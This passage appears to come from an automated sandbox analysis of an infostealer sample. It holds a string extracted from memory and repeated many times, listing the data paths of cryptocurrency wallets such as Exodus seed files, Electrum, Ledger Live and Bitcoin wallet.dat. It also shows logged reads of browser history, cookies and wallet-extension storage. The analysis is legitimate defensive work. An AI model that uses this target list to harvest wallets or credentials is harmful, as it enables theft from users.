Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2540983254.0000000001272000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: 954f709e67.exe, 00000020.00000003.3256935500.0000000001630000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live4

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008304001\954f709e67.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
